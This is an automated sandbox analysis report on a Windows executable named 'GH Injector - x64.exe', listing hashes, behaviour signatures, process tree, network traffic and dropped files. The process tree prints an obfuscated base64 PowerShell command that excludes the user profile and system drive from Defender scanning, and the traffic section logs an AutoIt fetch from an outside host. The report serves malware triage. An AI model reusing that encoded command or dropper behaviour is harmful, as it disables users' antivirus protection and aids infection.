Analysis
-
max time kernel
141s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
07/10/2024, 16:27 UTC
General
-
Target
ga/GH Injector - x64.exe
-
Size
962KB
-
MD5
7b7520a789158423fc9220782c162f6e
-
SHA1
2a97699729e9ee25acd1b9bc0e94c95cda9d81eb
-
SHA256
3d4a6a90910f6a00c5e5ca861d348cfb1235e88335f8c3494f63d7a94ca92e5b
-
SHA512
bbb8a46c4efc05fb278614466dc5acd7a1e695ec485b7de0dc56a31bd8ad8090af0ba67e53b94095f432f3c640d393d1424d7fd48bbe00f5b44f3ad541174bc3
-
SSDEEP
24576:TB5/LBCgO5AMWe5bUESA8IzqOj865JAZ1NX1YHLi+dr:dNLBCgX3pESAHzqO8aAZ1d1qGm
Malware Config
Signatures
-
Executes dropped EXE 2 IoCs
-
Loads dropped DLL 1 IoCs
-
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
AutoIT Executable 14 IoCs
AutoIT scripts compiled to PE executables.
-
UPX packed file 16 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops file in Windows directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Modifies registry class 5 IoCs
-
Suspicious behavior: EnumeratesProcesses 20 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 15 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\ga\GH Injector - x64.exe"C:\Users\Admin\AppData\Local\Temp\ga\GH Injector - x64.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAegBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAaQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHgAcABkACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHAAcQBqACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\GH Injector - x64.exe"C:\Users\Admin\AppData\Local\Temp\GH Injector - x64.exe"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\GH Injector -x64.exe"C:\Windows\GH Injector -x64.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2712 -s 5363⤵
-
-
Network
-
DNSguidedhacking.comRemote address:8.8.8.8:53Requestguidedhacking.comIN AResponseguidedhacking.comIN A172.67.69.76guidedhacking.comIN A104.26.5.19guidedhacking.comIN A104.26.4.19 -
GEThttp://guidedhacking.com/gh/injRemote address:172.67.69.76:80RequestGET /gh/inj HTTP/1.1
User-Agent: AutoIt
Host: guidedhacking.com
Cache-Control: no-cache
ResponseHTTP/1.1 403 Forbidden
Date: Mon, 07 Oct 2024 16:29:42 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 16
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Referrer-Policy: same-origin
Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z1SUIKNR9cmQIFMS4X2T8JNxqS%2BTx5rfrokdQXucwviygEXYfgih3vvofHCemLAlzNjf1GK4Zt9%2FHEsuc1n%2FTsS7dT7xNMTiJryukPg7Twiz108Vz8kOWqdLikKlQ0ZW6pe4"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
X-Content-Type-Options: nosniff
Server: cloudflare
CF-RAY: 8cef4585fcd89428-LHR
-
172.67.69.76:80http://guidedhacking.com/gh/injhttp
HTTP Request
GET http://guidedhacking.com/gh/injHTTP Response
403
-
8.8.8.8:53guidedhacking.comdns
DNS Request
guidedhacking.com
DNS Response
172.67.69.76104.26.5.19104.26.4.19
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
311B
MD522bb053a188104dbe2719b065983ab95
SHA16d9110f084d90f151488b40557e1b1272b5585d2
SHA256e4455b9f7e2e93a42f2417fbed02dc627e494d05b25e351ddf22ed44007171d9
SHA512aec77c653acfc7909ff760c9b00c17f2018002238d8876d8c35194957f41fd72ce743fc168dcbf094fbc5cf9102080dfa07809af72a269ff03652addbed9dbc4
-
Filesize
3KB
MD5afe12d056a366120354187a282ba6e93
SHA14bd885e6c703b3ba0cec7384132b1ffed721d3c5
SHA256a9fb2f20bc7584e4a922c454f858b2caf359c10aaf06bd5fa61bb3e86b3f8733
SHA512f688677ff52ecf06f17e7c4c1cf98789d13d95c7c1a9018d3980388dd7d68d7a36b9c3caaec307290f14275cd265e156da63116fc1db5daecad4b583d1868a80
-
Filesize
25KB
MD59d8778d72a7164e2f1454e534cbf840b
SHA10f07264ab1041678fb073e06f87f8422af70888b
SHA2562ecec062acf259188cabbd41992be4c20ceb092cf7d817b0cc32211b29c55af2
SHA5120f8a39d286be8fd1bec7fbeb4d56c368d68c7efc5787cee059b28547139ae38487a12093884f7560a58bc52a2bfd75bf81157cb6ace7eb5cac76f982c1320558
-
Filesize
927KB
MD5fac188061068468b413905c05ffe4a2e
SHA1bc5159c4a2aabc8b138fd28da099c5c6e4e87c86
SHA25616ac233c0be5784cf4b3bb0b3c94a9732609c6725d3982736280f04195d5304a
SHA5123750a9e46d0d43e95e2369996661bc0c82511242c79d2aacd4e09455bba3abb8fa6eaf51880875d75cb920543108a5c8c8ebf6c0ea4fcf05a99eb40a6dd2357b
-
Filesize
2.0MB
-
Filesize
48KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB